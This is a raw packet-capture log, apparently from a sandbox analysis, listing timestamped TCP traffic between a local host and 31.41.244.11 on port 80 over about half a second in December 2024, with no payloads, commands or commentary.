Dec 19, 2024 16:10:19.665618896 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.666559935 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.666625977 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.666673899 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.666712046 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.667735100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.667778969 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.668502092 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.668551922 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.668868065 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.668921947 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.668976068 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.669019938 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.669980049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.670025110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.670078993 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.670115948 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.671166897 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.671210051 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.671329975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.671407938 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.672159910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.672204018 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.672563076 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.672614098 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.806557894 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.806600094 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.806636095 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.806690931 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.806906939 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.806951046 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.807069063 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.807107925 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.808024883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.808068991 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.808423996 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.808463097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.809148073 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.809252024 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.809353113 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.810326099 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.810516119 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.810571909 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.811409950 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.811458111 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.811731100 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.811774015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.812520981 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.812567949 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.812629938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.812671900 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.813612938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.813677073 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.814047098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.814110041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.814757109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.814830065 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.815025091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.815067053 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.815995932 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.816112041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.816332102 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.816385984 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.817173958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.817229033 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.817542076 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.817585945 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.818201065 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.818258047 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.818361998 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.818407059 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.819242001 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.819283962 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.819484949 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.819542885 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.820390940 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.820446014 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.820487976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.820584059 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.822696924 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.822721958 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.822735071 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.822746038 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.822770119 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.822784901 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.822839975 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.822890997 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.823713064 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.823781967 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.823839903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.823888063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.824924946 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.824995041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.825318098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.825361967 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.825992107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.826045990 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.826545954 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.826595068 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.827061892 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.827126026 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.827203989 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.827245951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.828217030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.828294039 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.828313112 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.828356981 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.829653978 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.829736948 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.829924107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.829969883 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.830636024 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.830681086 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.831484079 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.831525087 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.831644058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.831657887 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.831686974 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.831705093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.832678080 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.832773924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.833004951 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.833053112 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.833769083 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.833834887 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.834079027 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.834122896 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.834918976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.834968090 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.835503101 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.835547924 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.836047888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.836093903 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.836214066 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.836258888 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.837160110 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.837199926 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.837234974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.837460041 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.838284016 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.838484049 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.838606119 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.838653088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.839461088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.839562893 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.839601040 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.839643002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.840537071 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.840586901 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.841032028 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.841084003 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.841919899 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.841973066 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.842406034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.842535973 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.842919111 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.842971087 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.843051910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.843169928 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.843883038 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.843931913 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.844214916 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.844257116 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.845041990 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.845108986 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.845169067 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.845386028 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.846136093 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.846187115 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.846189976 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.846231937 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.847318888 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.847364902 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.847985983 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.848041058 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.848406076 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.848452091 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.849366903 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.849431992 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.849540949 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.849554062 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.849591017 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.850641012 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.850827932 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.851284027 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.851337910 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.851737022 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.851783037 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.852694988 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.852740049 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.852833033 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.852902889 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.853354931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.853408098 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.853951931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.853998899 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.854084015 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.854130983 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.855170012 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.855230093 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.856194973 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.856240034 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.856292963 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.856307030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.856333971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.856355906 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.857389927 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.857455969 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.858160019 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.858211040 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.858438969 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.858510971 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.859131098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.859236002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.859641075 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.859653950 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.859680891 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.859703064 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.860801935 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.860847950 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.860985994 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.861102104 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.861933947 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.861984015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.862251997 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.862293959 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.862935066 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.862977982 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.863080025 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.863122940 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.864063978 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.864115000 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.864342928 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.864705086 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.865135908 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.865170002 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.998850107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.998871088 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.998931885 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:19.999217987 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.999301910 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:19.999341965 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.000318050 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.000361919 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.000510931 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.000634909 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.001440048 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.001487970 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.001719952 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.002294064 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.002648115 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.002799034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.002845049 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.003727913 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.003784895 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.004142046 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.004189968 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.004869938 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.004919052 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.005031109 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.005073071 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.005935907 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.005990982 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.006278992 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.006433964 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.007081985 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.007132053 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.007270098 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.007917881 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.008182049 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.008232117 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.008296013 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.008351088 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.009371042 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.009411097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.009495020 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.009624004 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.010456085 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.010546923 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.010559082 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.010790110 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.011535883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.011585951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.012223005 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.012274027 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.012645006 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.012757063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.013093948 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.013137102 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.013799906 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.013849020 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.013881922 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.013931990 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.014910936 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.014959097 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.015041113 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.015211105 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.016159058 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.016247034 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.016298056 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.017153978 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.017249107 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.017282009 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.017308950 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.018294096 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.018399000 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.018445015 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.019397974 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.019444942 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.019496918 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.020539999 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.020632982 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.020679951 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.021621943 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.021651030 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.021699905 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.022806883 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.022851944 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.022999048 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.023045063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.023870945 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.023952961 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.023986101 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.024022102 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.025008917 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.025063992 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.025085926 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.025211096 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.026174068 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.026242018 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.026314974 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.026360989 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.027455091 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.027509928 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.027509928 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.027555943 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.028543949 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.028593063 CET	49857	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:20.028693914 CET	80	49857	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:20.028736115 CET	49857	80	192.168.2.6	31.41.244.11
